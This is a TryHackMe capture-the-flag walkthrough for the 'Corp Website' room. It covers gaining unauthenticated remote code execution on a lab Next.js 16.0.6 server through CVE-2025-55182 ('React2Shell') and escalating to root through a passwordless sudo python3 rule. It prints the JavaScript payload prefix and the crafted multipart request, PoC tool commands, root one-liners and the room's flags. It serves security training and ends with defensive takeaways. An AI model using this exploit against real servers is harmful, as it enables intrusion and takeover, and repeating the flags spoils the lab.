

TryHackMe — Corp Website (Romance & Co) — Full Walkthrough

Platform	TryHackMe
Category	Web / Exploitation
Difficulty	Medium
Room	Corp Website (Love At First Breach 2026)
Target IP	10.48.133.123
OS	Linux (Docker container, node:20-alpine)

TL;DR — "Romance & Co" is a corporate marketing site built on **Next.js 16.0.6** (React Server Components). A purely static landing page hides a critical **unauthenticated RCE** in the RSC rendering pipeline — **CVE-2025-55182 ("React2Shell")**, a prototype pollution chain that lets us run arbitrary Node.js commands. We abuse it to read the **Dockerfile**, confirm a passwordless **sudo python3** rule, grab the user flag, then escalate to **root** for the final flag.

1. Scenario

Valentine's Day is fast approaching, and "Romance & Co" are gearing up for their busiest season. Behind the scenes, however, things are going wrong. Security alerts suggest that "Romance & Co" has already been compromised. Logs are incomplete, developers defensive and Shareholders want answers now! As a security analyst, your mission is to retrace the attacker's steps, uncover how the attackers exploited the vulnerabilities found on the "Romance & Co" web application and determine exactly how the breach occurred.

The web application is served at `http://10.48.133.123:3000/`.

2. Reconnaissance — Nmap

We start with a full port scan, then a service/version scan:

```
nmap -p- --min-rate 5000 10.48.133.123
nmap -Pn -sV 10.48.133.123
```

Result:

PORT	STATE	SERVICE	VERSION
22/tcp	open	ssh	OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
80/tcp	closed	tcpwrapped	

```
3000/tcp open    ppp?          (web server)
```

Only **SSH** and a web server on port **3000** are reachable. Sending a GET request to the root reveals the stack in the response headers:

```
HTTP/1.1 200 OK
X-Powered-By: Next.js
x-nextjs-prerender: 1
Content-Type: text/html; charset=utf-8
```

The web application is built with **Next.js** — and given the way the page is constructed (React Server Components / App Router), we keep in mind that framework-level RCE bugs are a real possibility on modern Next.js.

3. Web Enumeration

The site is a one-page marketing site for "Romance & Co." — hero section, featured experiences (candlelit dinners, proposal planning, getaways) and a contact form. We pull the homepage and inspect the JS bundles and RSC payload:

```
curl http://10.48.133.123:3000/ -o index.html
# download the _next/static JS chunks referenced in the page
```

We fuzz for hidden paths:

```
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u
http://10.48.133.123:3000/FUZZ
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u
http://10.48.133.123:3000/FUZZ
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u
http://10.48.133.123:3000/api/FUZZ
```

Result: nothing useful. The handful of hits (`.git/logs/`, `cgi-bin/`, `render/https://www.google.com`) are all Next.js **308 redirects** that normalize the URL and land on a 404 — classic false positives. There is no hidden admin panel, no API directory, no `.env`, and no exposed `.git` repository.

Examining the `<form>` on the page is also a **rabbit hole**:

```
<form class="space-y-4">
  ... no action attribute, no method="POST", no JS submit handler ...
</form>
```

The contact form is purely cosmetic front-end HTML and is never processed by the backend. There is no input vector to exploit on the application layer — the attack surface is the **framework itself**.

4. Pivot — CVE-2025-55182 "React2Shell"

From the fetched bundles and the running application we identify the exact framework version:

```
package.json
  "react": "19.2.0",
  "react-dom": "19.2.0",
  "next": "16.0.6"
```

Next.js **16.0.6** is affected by **CVE-2025-55182** (disclosed as "**React2Shell**" / **R2SAE**), a critical, **unauthenticated RCE** that abuses how React Server Components (RSC) handle a poisoned internal payload. The attack injects a malicious RSC "Flight" response in a `multipart/form-data` POST to the page, triggering a **prototype pollution** chain (`__proto__` → `then` → `constructor:constructor`) that lands on `process.mainModule` and executes **arbitrary Node.js code** on the server.

4.1 The payload

The core exploit (from the public PoC) posts a crafted RSC payload as the multipart field `0`, with a JavaScript "prefix" that runs our command, Base64-encodes its output, and then throws a fake `NEXT_REDIRECT` whose URL carries the encoded output back to us:

```
var res = process.mainModule.require('child_process')
    .execSync('<COMMAND> | base64 | tr "\n" "@").toString().trim();
throw Object.assign(new Error('NEXT_REDIRECT'), {
  digest: `NEXT_REDIRECT;push;/login?a=${res};307;`
});

POST / HTTP/1.1
Host: 10.48.133.123:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8j02oVc6SWP3Sad

-----WebKitFormBoundaryx8j02oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then",...,"_response":{"_prefix":"var res=...",...}}
-----WebKitFormBoundaryx8j02oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@@"
-----WebKitFormBoundaryx8j02oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
-----WebKitFormBoundaryx8j02oVc6SWP3Sad--
```

The response is a redirect to `/login?a=<base64>`, which we decode.

We use the public PoC tool `M4xSec/CVE-2025-55182-React2Shell-RCE-Shell` against the target, running `id` as a sanity check:

```
git clone https://github.com/M4xSec/CVE-2025-55182-React2Shell-RCE-Shell
cd CVE-2025-55182-React2Shell-RCE-Shell
```

```
python3 CVE-2025-55182-exploit.py -u http://10.48.133.123:3000 --custom "id"
```

Result:

COMMAND OUTPUT DECODED:

```
uid=100(daniel) gid=101(secgroup) groups=101(secgroup),101(secgroup)
```

We have **unauthenticated RCE** running as the user **daniel** — no login, no web parameter required. This is exactly how the attacker got in.

5. Post-Exploitation — Reading the Dockerfile

With a reliable command channel we enumerate the application directory:

```
python3 CVE-2025-55182-exploit.py -u http://10.48.133.123:3000 --custom "ls -la"
python3 CVE-2025-55182-exploit.py -u http://10.48.133.123:3000 --custom "cat
Dockerfile"
```

Result:

```
total 308
drwxr-xr-x 1 daniel secgroup 4096 Jan 28 2026 .
drwxr-xr-x 1 root root 4096 Jan 28 2026 ..
-rw-rw-r-- 1 daniel secgroup 42 Dec 20 2025 .dockerignore
-rw-rw-r-- 1 daniel secgroup 373 Dec 10 2025 .gitignore
drwxr-xr-x 1 daniel secgroup 4096 Jan 28 2026 .next
-rw-r--r-- 1 daniel secgroup 595 Jan 23 2026 Dockerfile
```

```
FROM node:20-alpine
```

```
RUN apk add --no-cache sudo python3 netcat-openbsd
```

```
WORKDIR /app
```

```
COPY package*.json ./
```

```
RUN npm ci
```

```
COPY . .
```

```
EXPOSE 3000
```

```
CMD ["npm", "start"]
```

Two important details are leaked by the Dockerfile:

1. The container runs as a low-privileged **node/daniel** user (not root).
 2. **sudo** and **python3** are installed — hinting at a privilege escalation path.
-

6. User Flag

The user's home directory holds the user flag:

```
python3 CVE-2025-55182-exploit.py -u http://10.48.133.123:3000 --custom "ls -la /home/daniel"
python3 CVE-2025-55182-exploit.py -u http://10.48.133.123:3000 --custom "cat /home/daniel/user.txt"
```

Result:

```
total 20
drwxr-sr-x 1 daniel secgroup 4096 Jan 28 2026 .
drwxr-sr-x 1 root    root    4096 Jan 28 2026 ..
drwxr-sr-x 3 daniel secgroup 4096 Jan 28 2026 .npm
-rw-r--r-- 1 daniel secgroup  27 Jan 28 2026 user.txt
```

User Flag 🚩 — THM{R34c7_2_5h311_3xpl017}

("React 2 Shell" — a nod to the React2Shell RCE used to get in.)

7. Privilege Escalation — sudo python3

Check what daniel can run with sudo:

```
python3 CVE-2025-55182-exploit.py -u http://10.48.133.123:3000 --custom "sudo -l"
```

Result:

```
Matching Defaults entries for daniel on romance:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User daniel may run the following commands on romance:
    (root) NOPASSWD: /usr/bin/python3
```

daniel can run **/usr/bin/python3 as root with no password**. An interpreter run as root is equivalent to root — we can spawn a shell or read any file. A one-liner lists /root:

```
python3 CVE-2025-55182-exploit.py -u http://10.48.133.123:3000 \
  --custom "echo 'sudo python3 -c \"import os; print(os.listdir(\"/root\"))\"' |
base64 -d | sh"
```

Note: the exploit's JS prefix wraps our command in single quotes, so commands containing quotes are Base64-encoded and piped through `base64 -d | sh` to avoid breaking the payload.

Result:

```
['root.txt', '.npm']
```

Now read the root flag:

```
python3 CVE-2025-55182-exploit.py -u http://10.48.133.123:3000 \
--custom "echo 'sudo python3 -c \"import os;
print(open(\"/root/root.txt\").read())\"' | base64 -d | sh"
```

Result:

```
THM{Pr1v_35c_47_175_f1n357}
```

Root Flag 🏆 — THM{Pr1v_35c_47_175_f1n357}

("Priv esc it is the finisher" — the misconfigured sudo rule was the last step.)

8. Flags Summary

Level	Flag
User	THM{R34c7_2_5h311_3xpl017}
Root	THM{Pr1v_35c_47_175_f1n357}

9. Attack Chain Recap

Port scan → Next.js 16.0.6 on :3000

└ static marketing site, cosmetic form (rabbit hole), no hidden paths

└ CVE-2025-55182 "React2Shell" (RSC prototype pollution)

└─> unauthenticated RCE as daniel

└─> read Dockerfile (leaks sudo/python3)

└─> read /home/daniel/user.txt → USER FLAG

└─> sudo -l → (root) NOPASSWD: /usr/bin/python3

└─> python3 root shell → /root/root.txt → ROOT

FLAG

10. Key Takeaways

1. **Modern frameworks shift the attack surface.** With static marketing sites there may be no user input at all — the vulnerability can live in the framework itself. Always check the framework version against recent CVEs (Next.js 16.0.6 → React2Shell).
2. **CVE-2025-55182 is a critical unauthenticated RCE** in React Server Components: a poisoned RSC payload triggers prototype pollution that reaches `process.mainModule` and executes arbitrary code. No credentials, no parameters — just a crafted POST.
3. **Reading the Dockerfile after RCE is gold.** It revealed the installed packages (sudo, python3) and the intended privilege-escalation path before we even ran `sudo -l`.

4. **sudo python3 = root.** Giving an application user passwordless access to an interpreter is equivalent to giving them root — always restrict sudo to specific commands with fixed arguments.
5. **Don't waste time on rabbit holes.** The contact form had no `action`, no `method`, and no JS handler — nothing to inject into. The real entry point was invisible to directory fuzzing.